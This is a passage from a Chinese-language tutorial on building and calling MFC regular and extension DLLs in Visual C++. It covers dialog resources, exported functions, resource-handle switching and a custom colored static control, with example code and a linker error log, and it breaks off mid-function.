         這個DLL的例子(屬於靜態連結到MFC的規則DLL)中提供了一個如圖11所示的對話方塊。在DLL中新增對話方塊的方式與在MFC應用程式中是一樣的。在圖17所示DLL中的對話方塊的Hello按鈕上點選時將MessageBox一個“Hello,您好”訊息框。

圖17 示例

(1)在3.3節所建立的RegDll工程的資源檢視上,新增一個對話方塊資源,並在對話方塊上新增一個“hello”按鈕,如下圖所示:

 

圖18 新建資源視窗

(2)在視窗上滑鼠右鍵,選擇“新增類“,在類名稱中輸入“CDllDialog”,如下圖:

圖19 新增視窗類

(3)新增“Hello”按鈕的雙擊響應事件。

void CDllDialog::OnBnClickedButton1()

{

         // TODO: 在此新增控制元件通知處理程式程式碼

         MessageBox(_T("Hello,您好"),_T("提示資訊"));

}

(4)編寫匯出函式,注意這裡的巨集REGDLL_EXPORTS是在RegDll工程的預處理中定義的。

圖20 程式碼

3.5 原始碼分析

第一組檔案:CWinApp繼承類的宣告與實現

// RegDll.h : RegDll DLL 的主標頭檔案

//

#pragma once

 

#ifndef __AFXWIN_H__

         #error "在包含此檔案之前包含“stdafx.h”以生成 PCH 檔案"

#endif

 

#include "resource.h"               // 主符號

 

// CRegDllApp

// 有關此類實現的資訊,請參閱 RegDll.cpp

//

 

class CRegDllApp : public CWinApp

{

public:

         CRegDllApp();

 

// 重寫

public:

         virtual BOOL InitInstance();

 

         DECLARE_MESSAGE_MAP()

};

 

// RegDll.cpp : 定義 DLL 的初始化例程。

//

#include "stdafx.h"

#include "RegDll.h"

 

#ifdef _DEBUG

#define new DEBUG_NEW

#endif

 

//

//TODO: 如果此 DLL 相對於 MFC DLL 是動態連結的,

//               則從此 DLL 匯出的任何調入

//               MFC 的函式必須將 AFX_MANAGE_STATE 巨集新增到

//               該函式的最前面。

//

//               例如:

//

//               extern "C" BOOL PASCAL EXPORT ExportedFunction()

//               {

//                        AFX_MANAGE_STATE(AfxGetStaticModuleState());

//                        // 此處為普通函式體

//               }

//

//               此巨集先於任何 MFC 呼叫

//               出現在每個函式中十分重要。這意味著

//               它必須作為函式中的第一個語句

//               出現,甚至先於所有物件變數宣告,

//               這是因為它們的建構函式可能生成 MFC

//               DLL 呼叫。

//

//               有關其他詳細資訊,

//               請參閱 MFC 技術說明 33 和 58。

//

 

// CRegDllApp

 

BEGIN_MESSAGE_MAP(CRegDllApp, CWinApp)

END_MESSAGE_MAP()

 

// CRegDllApp 構造

 

CRegDllApp::CRegDllApp()

{

         // TODO: 在此處新增構造程式碼,

         // 將所有重要的初始化放置在 InitInstance 中

}

 

// 唯一的一個 CRegDllApp 物件

 

CRegDllApp theApp;

 

// CRegDllApp 初始化

 

BOOL CRegDllApp::InitInstance()

{

         CWinApp::InitInstance();

 

         return TRUE;

}

分析:

在這一組檔案中定義了一個繼承自CWinApp的類CRegularDllApp,並同時定義了其的一個例項theApp。乍一看,您會以為它是一個MFC應用程式,因為MFC應用程式也包含這樣的在工程名後新增“App”組成類名的類(並繼承自CWinApp類),也定義了這個類的一個全域性例項theApp。

我們知道,在MFC應用程式中CWinApp取代了SDK程式中WinMain的地位,SDK程式WinMain所完成的工作由CWinApp的三個函式完成:

virtualBOOLInitApplication( );

virtualBOOLInitInstance( );

virtualBOOLRun();   //傳說中MFC程式的“活水源頭”

但是MFC規則DLL並不是MFC應用程式,它所繼承自CWinApp的類不包含訊息迴圈。這是因為,MFC規則DLL不包含CWinApp::Run機制,主訊息泵仍然由應用程式擁有。如果DLL生成無模式對話方塊或有自己的主框架視窗,則應用程式的主訊息泵必須呼叫從DLL匯出的函式來呼叫PreTranslateMessage成員函式。另外,MFC規則DLL與MFC應用程式中一樣,需要將所有DLL中元素的初始化放到InitInstance 成員函式中

第二組檔案自定義對話方塊類宣告及實現

#pragma once

 

// CDllDialog 對話方塊

 

class CDllDialog : public CDialog

{

         DECLARE_DYNAMIC(CDllDialog)

 

public:

         CDllDialog(CWnd* pParent = NULL);   // 標準建構函式

         virtual ~CDllDialog();

 

// 對話方塊資料

         enum { IDD = IDD_DIALOG1 };

 

protected:

         virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支援

 

         DECLARE_MESSAGE_MAP()

public:

         afx_msg void OnBnClickedButton1();

};

 

// DllDialog.cpp : 實現檔案

//

#include "stdafx.h"

#include "RegDll.h"

#include "DllDlg.h"

 

// CDllDialog 對話方塊

 

IMPLEMENT_DYNAMIC(CDllDialog, CDialog)

 

CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/)

         : CDialog(CDllDialog::IDD, pParent)

{

}

 

CDllDialog::~CDllDialog()

{

}

 

void CDllDialog::DoDataExchange(CDataExchange* pDX)

{

         CDialog::DoDataExchange(pDX);

}

 

 

BEGIN_MESSAGE_MAP(CDllDialog, CDialog)

         ON_BN_CLICKED(IDC_BUTTON1, &CDllDialog::OnBnClickedButton1)

END_MESSAGE_MAP()

 

// CDllDialog 訊息處理程式

 

void CDllDialog::OnBnClickedButton1()

{

         // TODO: 在此新增控制元件通知處理程式程式碼

         MessageBox("Hello,您好","提示資訊");

}

分析:

這一部分的程式設計與一般的應用程式根本沒有什麼不同,我們照樣可以利用MFC類嚮導來自動為對話方塊上的控制元件新增事件。MFC類嚮導照樣會生成類似ON_BN_CLICKED (IDC_ BUTTON1, OnBnClickedButton1) 的訊息對映巨集。

第三組檔案DLL中的資原始檔

//{{NO_DEPENDENCIES}}

// Microsoft Visual C++ generated include file.

// Used by RegDll.rc

//

#define IDD_DIALOG1                     4000

#define IDC_BUTTON1                     4000

 

// Next default values for new objects

//

#ifdef APSTUDIO_INVOKED

#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_NEXT_RESOURCE_VALUE        4001

#define _APS_NEXT_COMMAND_VALUE       32771

#define _APS_NEXT_CONTROL_VALUE         4001

#define _APS_NEXT_SYMED_VALUE           4000

#endif

#endif

分析:

在MFC規則DLL中使用資源也與在MFC應用程式中使用資源沒有什麼不同,我們照樣可以用VisualC++的資源編輯工具進行資源的新增、刪除和屬性的更改。

第四組檔案MFC規則DLL介面函式

#ifndef _LIB_H_

#define _LIB_H_

 

#ifdef REGDLL_EXPORTS

#define LIB_API extern "C" __declspec(dllexport)

#else

#define LIB_API extern "C" __declspec(dllimport)

#endif

 

LIB_API void ShowDlg(void);

 

#endif /*_LIB_H_*/

 

#include"StdAfx.h"

#include "resource.h"

#include"DllDialog.h"

#include "lib.h"

 

LIB_API void ShowDlg(void)

{

         CDllDialog dllDlg;

         dllDlg.DoModal();

}

分析:

這個介面並不使用MFC,但是在其中卻可以呼叫MFC擴充套件類CDllDialog的函式,這體現了“規則”的概類。

與非MFC DLL完全相同,我們可以使用__declspec(dllexport)宣告或在.def 中引出的方式匯出MFC規則DLL中的介面。

3.5 MFC規則DLL的呼叫

在這裡,新建一個“MFC應用程式”工程DllCall來呼叫3.4節所編寫的RegDll庫。下面21是在這個程式的對話方塊上點選“Call DLL”按鈕時彈出3.2節MFC規則DLL中的對話方塊。

圖21 示例視窗

“Call DLL”按鈕的訊息處理函式如下:

//方法一:隱式靜態呼叫方法

#include "../RegDll/lib.h"

#pragma comment(lib,"../Debug/RegDll.lib")

//……………

void CDllCallDlg::OnBnClickedButton1()

{

         // TODO: 在此新增控制元件通知處理程式程式碼

         ShowDlg();

}

或者:

//方法二:顯式動態呼叫方法

void CDllCallDlg::OnBnClickedButton1()

{

         // TODO: 在此新增控制元件通知處理程式程式碼

         typedef void(*lpFun)(void);

         HINSTANCE hDll; //DLL 控制程式碼

 

         hDll=LoadLibrary(_T("../Debug/RegDll.dll"));

         if (NULL==hDll)

         {

                   MessageBox(_T("DLL載入失敗"));

                   return;

         }

 

         lpFun pShowDlg=(lpFun)GetProcAddress(hDll,"ShowDlg");

         if (NULL==pShowDlg)

         {

                   MessageBox(_T("DLL中函式尋找失敗"));

                   FreeLibrary(hDll);

                   return ;

         }

 

         pShowDlg();

 

         FreeLibrary(hDll);

}

注意:在3.4節所建立的是“使用共享MFCDLL的規則DLL(D)”,其工程屬性如下圖所示,否則在呼叫的時候會出現失敗,原因家3.6節。

圖22 設定MFC連結方式

3.6共享MFC規則DLL的模組切換

應用程式程式本身及其呼叫的每個DLL模組都具有一個全域性唯一的HINSTANCE控制程式碼,它們代表了DLL或EXE模組在程式虛擬空間中的起始地址。程式本身的模組控制程式碼一般為0x400000,而DLL模組的預設控制程式碼為0x10000000。如果程式同時載入了多個DLL,則每個DLL模組都會有不同的HINSTANCE。應用程式在載入DLL時對其進行了重定位。

共享MFC DLL(或MFC擴充套件DLL)的規則DLL涉及到HINSTANCE控制程式碼問題,HINSTANCE控制程式碼對於載入資源特別重要。EXE和DLL都有其自己的資源,而且這些資源的ID可能重複,應用程式需要通過資源模組的切換來找到正確的資源。如果應用程式需要來自於DLL的資源,就應將資源模組控制程式碼指定為DLL的模組控制程式碼;如果需要EXE檔案中包含的資源,就應將資源模組控制程式碼指定為EXE的模組控制程式碼。

這次我們建立一個動態連結到MFCDLL的規則DLL,在其中包含如圖23的對話方塊。

圖23 DLL中視窗

另外,在與這個DLL相同的工作區中生成一個基於對話方塊的MFC程式,其對話方塊與圖23完全一樣。但是在此工程中我們另外新增了一個如圖14的對話方塊。

圖24 EXE中視窗

圖23和圖24中的對話方塊除了caption不同(以示區別)以外,其它的都相同。尤其值得特別注意,在DLL和EXE中我們對圖23和圖24的對話方塊使用了相同的資源ID=2000,在DLL和EXE工程的resource.h 中分別有如下的巨集:

//DLL中對話方塊的ID

#define  IDD_DLL_DIALOG 2000

//EXE中對話方塊的ID

#define  IDD_EXE_DIALOG 2000

與3.5節靜態連結MFC DLL的規則DLL相同,我們還是在規則DLL中定義介面函式ShowDlg,原型如下:

圖25 程式碼

而為應用工程主對話方塊的“Call DLL”的單擊事件新增如下訊息處理函式:

圖26 呼叫程式碼

我們以為單擊“呼叫DLL”會彈出如圖23所示DLL中的對話方塊,可是可怕的事情發生

了,我們看到是圖24所示EXE中的對話方塊!

產生這個問題的根源在於應用程式與MFC規則DLL共享MFC DLL(或MFC擴充套件DLL)的程式總是預設使用EXE的資源,我們必須進行資源模組控制程式碼的切換,其實現方法有三種。

方法一:在DLL介面函式中使用:AFX_MANAGE_STATE(AfxGetStaticModuleState());

我們將DLL中的介面函式ShowDlg改為:

voidShowDlg(void)

{

//方法1:在函式開始處變更,在函式結束時恢復

//AFX_MANAGE_STATE(AfxGetStaticModuleState());作為介面函式的第一

//條語句進行模組狀態切換

AFX_MANAGE_STATE(AfxGetStaticModuleState());

CDialogdlg(IDD_DLL_DIALOG);//開啟ID為2000的對話方塊

dlg.DoModal();

}

這次我們再點選EXE程式中的“Call DLL”按鈕,彈出的是DLL中的如圖13的對話方塊!彈出了正確的對話方塊資源。

AfxGetStaticModuleState是一個函式,其原型為:

AFX_MODULE_STATE*AFXAPIAfxGetStaticModuleState();

該函式的功能是在棧上(這意味著其作用域是區域性的)建立一個AFX_MODULE_STATE類(模組全域性資料也就是模組狀態)的例項,對其進行設定,並將其指標pModuleState返回。AFX_MODULE_STATE類的原型如下:

//AFX_MODULE_STATE(globaldataforamodule)

classAFX_MODULE_STATE: public CNoTrackObject

{

public:

#ifdef_AFXDLL

AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion);

AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion,BOOL bSystem);

#else

AFX_MODULE_STATE(BOOLbDLL);

#endif

~AFX_MODULE_STATE();

CWinApp*m_pCurrentWinApp;

HINSTANCEm_hCurrentInstanceHandle;

HINSTANCEm_hCurrentResourceHandle;

LPCTSTRm_lpszCurrentAppName;

…//省略後面的部分

}

AFX_MODULE_STATE類利用其建構函式和解構函式進行儲存模組狀態現場及恢復現場的工作,類似彙編中call指令對pc指標和sp暫存器的儲存與恢復、中斷服務程式的中斷現場壓棧與恢復以及作業系統執行緒排程的任務控制塊儲存與恢復。

AFX_MANAGE_STATE是一個巨集,其原型為:

AFX_MANAGE_STATE(AFX_MODULE_STATE*pModuleState)

該巨集用於將pModuleState設定為當前的有效模組狀態。當離開該巨集的作用域時(也就離開了pModuleState所指向棧上物件的作用域),先前的模組狀態將由AFX_MODULE_STATE的解構函式恢復。

方法二:在DLL介面函式中使用

AfxGetResourceHandle();

AfxSetResourceHandle(HINSTANCExxx);

AfxGetResourceHandle用於獲取當前資源模組控制程式碼,而AfxSetResourceHandle則用於設定程式目前要使用的資源模組控制程式碼。我們將DLL中的介面函式ShowDlg改為:

extern CRegDllApp theApp; //需要宣告theApp 外部全域性變數

 

void ShowDlg(void)

{

//方法2的狀態變更

HINSTANCE save_hInstance=AfxGetResourceHandle();

AfxSetResourceHandle(theApp.m_hInstance);

CDialogdlg(IDD_DLL_DIALOG);//開啟ID為2000的對話方塊

dlg.DoModal();

 

//方法2的狀態還原

AfxSetResourceHandle(save_hInstance);

}

通過AfxGetResourceHandle和AfxSetResourceHandle的合理變更,我們能夠靈活地設定程式的資源模組控制程式碼,而方法一則只能在DLL介面函式退出的時候才會恢復模組控制程式碼。方法二則不同,如果將ShowDlg改為:

extern CRegDllApp theApp; //需要宣告theApp 外部全域性變數

void ShowDlg(void)

{

//方法2的狀態變更

HINSTANCE save_hInstance=AfxGetResourceHandle();

AfxSetResourceHandle(theApp.m_hInstance);

CDialog dlg(IDD_DLL_DIALOG);//開啟ID為2000的對話方塊

dlg.DoModal();

 

//方法2的狀態還原

AfxSetResourceHandle(save_hInstance);

//使用方法2後在此處再進行操作針對的將是應用程式的資源

CDialog dlg1(IDD_DLL_DIALOG);//開啟ID為2000的對話方塊

dlg1.DoModal();

}

在應用程式主對話方塊的“呼叫DLL”按鈕上點選,將看到兩個對話方塊,相繼為DLL中的對話方塊(圖13)和EXE中的對話方塊(圖14)。

方法三由應用程式自身切換

資源模組的切換除了可以由DLL介面函式完成以外,由應用程式自身也能完成。現在我們把DLL中的介面函式改為最簡單的:

void ShowDlg(void)

{

CDialogdlg(IDD_DLL_DIALOG); //開啟ID為2000的對話方塊

dlg.DoModal();

}

而將應用程式的OnBnClickedButton1函式改為:

voidCDllCallDlg::OnBnClickedButton1()

{

//方法3:由應用程式本身進行狀態切換

//獲取EXE模組控制程式碼

HINSTANCE exe_hInstance= GetModuleHandle(NULL);

//或者HINSTANCE exe_hInstance=AfxGetResourceHandle();

//獲取DLL模組控制程式碼

HINSTANCE dll_hInstance=GetModuleHandle("RegDll.dll");

AfxSetResourceHandle(dll_hInstance);//切換狀態

ShowDlg(); //此時顯示的是DLL的對話方塊

 

AfxSetResourceHandle(exe_hInstance);//恢復狀態

//資源模組恢復後再呼叫ShowDlg

ShowDlg(); //此時顯示的是EXE的對話方塊

}

方法三中的Win32函式GetModuleHandle可以根據DLL的檔名獲取DLL的模組控制程式碼。如果需要得到EXE模組的控制程式碼,則應呼叫帶有Null引數的GetModuleHandle。方法三與方法二的不同在於方法三是在應用程式中利用AfxGetResourceHandle和AfxSetResourceHandle進行資源模組控制程式碼切換的。同樣地,在應用程式主對話方塊的“Call DLL”按鈕上點選,也將看到兩個對話方塊,相繼為DLL中的對話方塊(圖13)和EXE中的對話方塊(圖14)。

4、MFC擴充套件DLL編寫

4.1 MFC擴充套件DLL概述

MFC擴充套件DLL與MFC規則DLL的相同點在於在兩種DLL的內部都可以使用MFC類庫,其不同點在於MFC擴充套件DLL與應用程式的介面可以是MFC的。MFC擴充套件DLL的含義在於它是MFC的擴充套件,其主要功能是實現從現有MFC庫類中派生出可重用的類。MFC擴充套件DLL使用MFC動態連結庫版本,因此只有用共享MFC版本生成的MFC可執行檔案(應用程式或規則DLL)才能使用MFC擴充套件DLL。

從前文可知,MFC規則DLL被MFC嚮導自動新增了一個CWinApp的物件,而MFC擴充套件DLL則不包含該物件,它只是被自動新增了DllMain函式。對於MFC擴充套件DLL,開發人員必須在DLL的DllMain函式中新增初始化和結束程式碼。

從下表我們可以看出三種DLL對DllMain入口函式的不同處理方式:

DLL型別

入口函式

非MFCDLL

程式設計者提供DllMain函式

MFC規則DLL

CWinApp物件的InitInstance 和ExitInstance

MFC擴充套件DLL

MFCDLL嚮導生成DllMain函式

對於MFC擴充套件DLL,系統會自動在工程中新增如下表所示的巨集,這些巨集為DLL和應用程式的編寫提供了方便。像AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA這樣的巨集,在DLL和應用程式中將具有不同的定義,這取決於_AFXEXT巨集是否被定義。這使得在DLL和應用程式中,使用統一的一個巨集就可以表示出輸出和輸入的不同意思。在DLL中,表示輸出(因為_AFXEXT被定義,通常是在編譯器的標識引數中指定/D_AFXEXT);在應用程式中,則表示輸入(_AFXEXT沒有定義)。

巨集

定義

AFX_CLASS_IMPORT

__declspec(dllimport)

AFX_API_IMPORT

__declspec(dllimport)

AFX_DATA_IMPORT

__declspec(dllimport)

AFX_CLASS_EXPORT

__declspec(dllexport)

AFX_API_EXPORT

__declspec(dllexport)

AFX_DATA_EXPORT

__declspec(dllexport)

AFX_EXT_CLASS

#ifdef_AFXEXT

AFX_CLASS_EXPORT

#else

AFX_CLASS_IMPORT

AFX_EXT_API

#ifdef_AFXEXT

AFX_API_EXPORT

#else

AFX_API_IMPORT

AFX_EXT_DATA

#ifdef_AFXEXT

AFX_DATA_EXPORT

#else

AFX_DATA_IMPORT

4.2 MFC擴充套件DLL匯出MFC派生類

在這個例子中,我們將產生一個名為“ExtDll”的“MFC擴充套件DLL”工程,在這個DLL中匯出一個對話方塊類,這個對話方塊類派生自MFC類CDialog。

圖27 建立MFC擴充套件DLL

使用MFC嚮導生成MFC擴充套件DLL時,系統會自動新增如下程式碼:

static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };

 

extern "C" int APIENTRY

DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)

{

         // 如果使用 lpReserved,請將此移除

         UNREFERENCED_PARAMETER(lpReserved);

 

         if (dwReason == DLL_PROCESS_ATTACH)

         {

                   TRACE0("ExtDll.DLL 正在初始化!\n");

                  

                   // 擴充套件 DLL 一次性初始化

                   if (!AfxInitExtensionModule(ExtDllDLL, hInstance))

                            return 0;

 

                   // 將此 DLL 插入到資源鏈中

                   // 注意: 如果此擴充套件 DLL

                   //  MFC 規則 DLL ( ActiveX 控制元件)隱式連結到,

                   //  而不是由 MFC 應用程式連結到,則需要

                   //  將此行從 DllMain 中移除並將其放置在一個

                   //  從此擴充套件 DLL 匯出的單獨的函式中。使用此擴充套件 DLL

                   //  規則 DLL 然後應顯式

                   //  呼叫該函式以初始化此擴充套件 DLL。否則,

                   //  CDynLinkLibrary 物件不會附加到

                   //  規則 DLL 的資源鏈,並將導致嚴重的

                   //  問題。

 

                   new CDynLinkLibrary(ExtDllDLL);

         }

         else if (dwReason == DLL_PROCESS_DETACH)

         {

                   TRACE0("ExtDll.DLL 正在終止!\n");

 

                   // 在呼叫解構函式之前終止該庫

                   AfxTermExtensionModule(ExtDllDLL);

         }

         return 1;   // 確定

}

我們需要對這一段程式碼進行解讀:

(1)上述程式碼完成MFC擴充套件DLL的初始化和終止處理;

(2)初始化期間所建立的CDynLinkLibrary物件使MFC擴充套件DLL可以將DLL中的CRuntimeClass物件或資源匯出到應用程式;

(3)AfxInitExtensionModule函式捕獲模組的CRuntimeClass結構和在建立CDynLinkLibrary物件時使用的物件工廠(COleObjectFactory物件);

(4)AfxTermExtensionModule函式使MFC得以在每個程式與擴充套件DLL分離時(程式退出或使用AfxFreeLibrary解除安裝DLL時)清除擴充套件DLL;

(5)第一條語句static AFX_EXTENSION_MODULEExtDllDLL={NULL,NULL};

定義了一個AFX_EXTENSION_MODULE類的靜態全域性物件,

AFX_EXTENSION_MODULE的定義如下:

struct AFX_EXTENSION_MODULE

{

BOOL bInitialized;

HMODULE hModule;

HMODULE hResource;

CRuntimeClass* pFirstSharedClass;

COleObjectFactory* pFirstSharedFactory;

};

由AFX_EXTENSION_MODULE的定義我們可以更好的理解(2)、(3)、(4)點。

在資源編輯器中新增一個對話方塊,並使用MFC類嚮導為其新增一個對應的類CExtDialog,系統自動新增了ExtDialog.h和ExtDialog.cpp兩個標頭檔案。修改ExtDialog.h中CExtDialog類的宣告為:

class AFX_EXT_CLASSCExtDialog: public CDialog

{

//……………………………………..

}

這其中最主要的改變是我們在classAFX_EXT_CLASSCExtDialog語句中新增了“AFX_EXT_CLASS”巨集,則使得DLL中的CExtDialog類被匯出。

4.3 MFC擴充套件DLL的呼叫

4.3.1 隱式靜態呼叫

我們在6.2工程所在的工作區中新增一個CallDll工程,用於演示MFC擴充套件DLL的載入。在該工程中新增一個如圖16所示的對話方塊,這個對話方塊上包括一個“Call DLL”按鈕。

圖28 視窗及其呼叫程式碼

為提供給使用者隱式呼叫(MFC擴充套件DLL一般使用隱式載入,具體原因見下節),MFC擴充套件DLL需要提供三個檔案:

(1)描述DLL中擴充套件類的標頭檔案;

(2)與動態連結庫對應的.LIB檔案;

(3)動態連結庫.DLL 檔案本身。

有了這三個檔案,應用程式的開發者才可充分利用MFC擴充套件DLL。

4.3.2 顯式動態呼叫

顯示載入MFC擴充套件DLL應使用MFC全域性函式AfxLoadLibrary而不是WIN32API中的LoadLibrary。AfxLoadLibrary最終也呼叫了LoadLibrary這個API,但是在呼叫之前進行了執行緒同步的處理。

AfxLoadLibrary的函式原型與LoadLibrary完全相同,為:

HINSTANCEAFXAPI AfxLoadLibrary(LPCTSTR lpszModuleName );

與之相對應的是,MFC應用程式應使用AfxFreeLibrary而非FreeLibrary解除安裝MFC擴充套件DLL。AfxFreeLibrary的函式原型也與FreeLibrary完全相同,為:

BOOLAFXAPI AfxFreeLibrary(HINSTANCE hInstLib);

如果我們把上例中的“呼叫DLL”按鈕單擊事件的訊息處理函式改為:

圖29 呼叫程式碼

則工程會出現link 錯誤:

1>------ 已啟動生成: 專案: CallDll, 配置:Debug Win32 ------

1>正在連結...

1>CallDllDlg.obj : error LNK2019: 無法解析的外部符號"__declspec(dllimport) public: virtual __thiscall CExtDlg::~CExtDlg(void)"(__imp_??1CExtDlg@@UAE@XZ),該符號在函式"public: void__thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用

1>CallDllDlg.obj : error LNK2019: 無法解析的外部符號"__declspec(dllimport) public: __thiscall CExtDlg::CExtDlg(class CWnd *)"(__imp_??0CExtDlg@@QAE@PAVCWnd@@@Z),該符號在函式"public:void __thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用

1>D:\StudyPrj\ExtDll\Debug\CallDll.exe: fatal error LNK1120: 2 個無法解析的外部命令

1>生成日誌儲存在“file://d:\StudyPrj\ExtDll\CallDll\Debug\BuildLog.htm”

1>CallDll - 3 個錯誤,個警告

========== 生成: 成功0 個,失敗1 個,最新0 個,跳過0 個==========

提示CExtDlg的建構函式和解構函式均無法找到!是的,對於派生MFC類的MFC擴充套件DLL,當我們要在應用程式中使用DLL中定義的派生類時,我們不宜使用動態載入DLL的方法。

4.4 MFC擴充套件DLL呼叫MFC擴充套件DLL

我們可以在MFC擴充套件DLL中再次使用MFC擴充套件DLL,但是,由於在兩個DLL中對於AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA巨集的定義都是輸出,這會導致呼叫的時候出現問題。

我們將會在呼叫MFC擴充套件DLL的DLL中看到link錯誤:

error LNK2001:unresolved external symbol….......

因此,在呼叫MFC擴充套件DLL的MFC擴充套件DLL中,在包含被呼叫DLL的標頭檔案之前,需要臨時重新定義AFX_EXT_CLASS的值。下面的例子顯示瞭如何實現:

//臨時改變巨集的含義“輸出”為“輸入”

#undefAFX_EXT_CLASS

#undefAFX_EXT_API

#undefAFX_EXT_DATA

#defineAFX_EXT_CLASSAFX_CLASS_IMPORT

#defineAFX_EXT_APIAFX_API_IMPORT

#defineAFX_EXT_DATAAFX_DATA_IMPORT

//包含被呼叫MFC擴充套件DLL的標頭檔案

#include"CalledDLL.h"

//恢復巨集的含義為輸出

#undefAFX_EXT_CLASS

#undefAFX_EXT_API

#undefAFX_EXT_DATA

#defineAFX_EXT_CLASSAFX_CLASS_EXPORT

#defineAFX_EXT_APIAFX_API_EXPORT

#defineAFX_EXT_DATAAFX_DATA_EXPORT

4.5 MFC擴充套件DLL匯出函式和變數

MFC擴充套件DLL匯出函式和變數的方法也十分簡單,下面我們給出一個簡單的例子。我們在MFC嚮導生成的MFC擴充套件DLL工程中新增gobal.h和global.cpp兩個檔案:

//global.h:MFC 擴充套件DLL匯出變數和函式的宣告

extern"C"

{

int AFX_EXT_DATAtotal; //匯出變數

int AFX_EXT_API add(intx,int y);//匯出函式

}

 

//global.cpp:MFC 擴充套件DLL匯出變數和函式定義

#include"StdAfx.h"

#include"global.h"

extern"C" int total;

int add(int x,int y)

{

total=x+y;

returntotal;

}

編寫一個簡單的控制檯程式來呼叫這個MFC擴充套件DLL:

#include<iostream.h>

#include<afxver_.h>   //AFX_EXT_DATAAFX_EXT_API巨集的定義在afxver_.h標頭檔案中

#pragma comment(lib,"ExtDll.lib")

#include"../global.h"

int main(int argc,char*argv[])

{

cout<<add(2,3)<<endl;

cout<<total;

return0;

}

令外,在Visual C++下建立MFC擴充套件DLL時,MFC DLL嚮導會自動生成.def 檔案。因此,對於函式和變數,我們除了可以利用AFX_EXT_DATA、AFX_EXT_API巨集匯出以外,在.def檔案中定義匯出也是一個很好的辦法。與之相比,在.def檔案中匯出類卻較麻煩。通常需要從工程生成的.map 檔案中獲得類的所有成員函式被C++編譯器更改過的識別符號,並且在.def檔案中匯出這些“奇怪”的識別符號。因此,MFC擴充套件DLL通常以AFX_EXT_CLASS巨集直接宣告匯出類。

4.6 MFC擴充套件DLL的應用

上述各小節所舉MFC擴充套件DLL的例子均只是為了說明某方面的問題,沒有真實地體現“MFC擴充套件”的內涵,譬如EXTDll中派生自CDialog的類也不具備比CDialog更強的功能。MFC擴充套件DLL的真實內涵體現在它提供的類雖然派生自MFC類,但是提供了比MFC類更強大的功能、更豐富的介面。下面我們來看一個具體的例子。

我們知道static控制元件所對應的CStatic類不具備設定背景和文字顏色的介面,這使得我們不能在對話方塊或其它使用者介面上自由靈活地修改static控制元件的顏色風格,因此我們需要一個提供了SetBackColor和SetTextColor介面的CStatic派生類CMultiColorStatic。

這個類的宣告如下:

class AFX_EXT_CLASSCMultiColorStatic : public CStatic

{

// Construction

public:

CMultiColorStatic();

virtual ~CMultiColorStatic();

// Attributes

protected:

CString m_strCaption;

COLORREF m_BackColor;

COLORREF m_TextColor;

// Operations

public:

void SetTextColor( COLORREF TextColor );

void SetBackColor( COLORREF BackColor );

void SetCaption( CString strCaption );

// Generated message map functions

protected:

afx_msg void OnPaint();

DECLARE_MESSAGE_MAP()

};

在這個類的實現檔案中,我們需要為它提供WM_PAINT訊息的處理函式(這是因為顏色的設定依賴於WM_PAINT訊息):

BEGIN_MESSAGE_MAP(CMultiColorStatic, CStatic)

//{{AFX_MSG_MAP(CMultiColorStatic)

ON_WM_PAINT() //為這個類定義WM_PAINT訊息處理函式

//}}AFX_MSG_MAP

END_MESSAGE_MAP()

下面是這個類中的重要成員函式:

//為CMultiColorStatic類新增“設定文字顏色”介面

void CMultiColorStatic::SetTextColor( COLORREF TextColor )

{

m_TextColor = TextColor; //設定文字顏色

}

//為CMultiColorStatic類新增“設定背景顏色”介面

void CMultiColorStatic::SetBackColor( COLORREF BackColor )

{

m_BackColor = BackColor; //設定背景顏色

}

//為CMultiColorStatic類新增“設定標題”介面

void CMultiColorStatic::SetCaption( CString strCaption )

{

m_strCaption = strCaption;

}

//重畫Static,顏色和標題的設定都依賴於這個函式

void CMultiColorStatic::OnPaint()

{

CPaintDC dc(this); // device context for painting

CRect rect;

GetClientRect( &rect );

dc.SetBkColor( m_BackColor );

dc.SetBkMode( TRANSPARENT );

CFont *pFont = GetParent()->GetFont();//得到父窗體的字型

CFont *pOldFont;

pOldFont = dc.SelectObject( pFont );//選用父窗體的字型

dc.SetTextColor( m_TextColor );//設定文字顏色

dc.DrawText( m_strCaption, &rect, DT_CENTER );//文字在Static中央

dc.SelectObject( pOldFont );

}

為了驗證CMultiColorStatic類,我們製作一個基於對話方塊的應用程式,它包含一個如圖4-3所示的對話方塊。該對話方塊上包括一個static控制元件和三個按鈕,這三個按鈕可分別把static控制元件設定為“紅色”、“藍色”和“綠色”。

圖30 擴充套件的CStatic類呼叫演示

下面看看應如何編寫與這個對話方塊對應的類。

包含這種Static的對話方塊類的宣告如下:

#include "../MultiColorStatic.h"

#pragma comment ( lib, "ColorStatic.lib" )

// CCallDllDlg dialog

class CCallDllDlg : public CDialog

{

public:

CCallDllDlg(CWnd* pParent = NULL); // standardconstructor

enum { IDD = IDD_CALLDLL_DIALOG };

CMultiColorStatic m_colorstatic; //包含一個CMultiColorStatic的例項

protected:

virtual void DoDataExchange(CDataExchange* pDX);//DDX/DDVsupport

HICON m_hIcon;

// Generated message map functions

//{{AFX_MSG(CCallDllDlg)

virtual BOOL OnInitDialog();

afx_msg void OnSysCommand(UINT nID, LPARAM lParam);

afx_msg void OnPaint();

afx_msg HCURSOR OnQueryDragIcon();

afx_msg void OnRedButton();

afx_msg void OnBlueButton();

afx_msg void OnGreenButton();

//}}AFX_MSG

DECLARE_MESSAGE_MAP()

};

下面是這個類中與使用CMultiColorStatic相關的主要成員函式:

void CCallDllDlg::DoDataExchange(CDataExchange* pDX)

{

CDialog::DoDataExchange(pDX);

//{{AFX_DATA_MAP(CCallDllDlg)

DDX_Control(pDX, IDC_COLOR_STATIC, m_colorstatic);

//使m_colorstatic與IDC_COLOR_STATIC控制元件關聯

//}}AFX_DATA_MAP

}

BOOL CCallDllDlg::OnInitDialog()

{

// TODO: Add extra initialization here

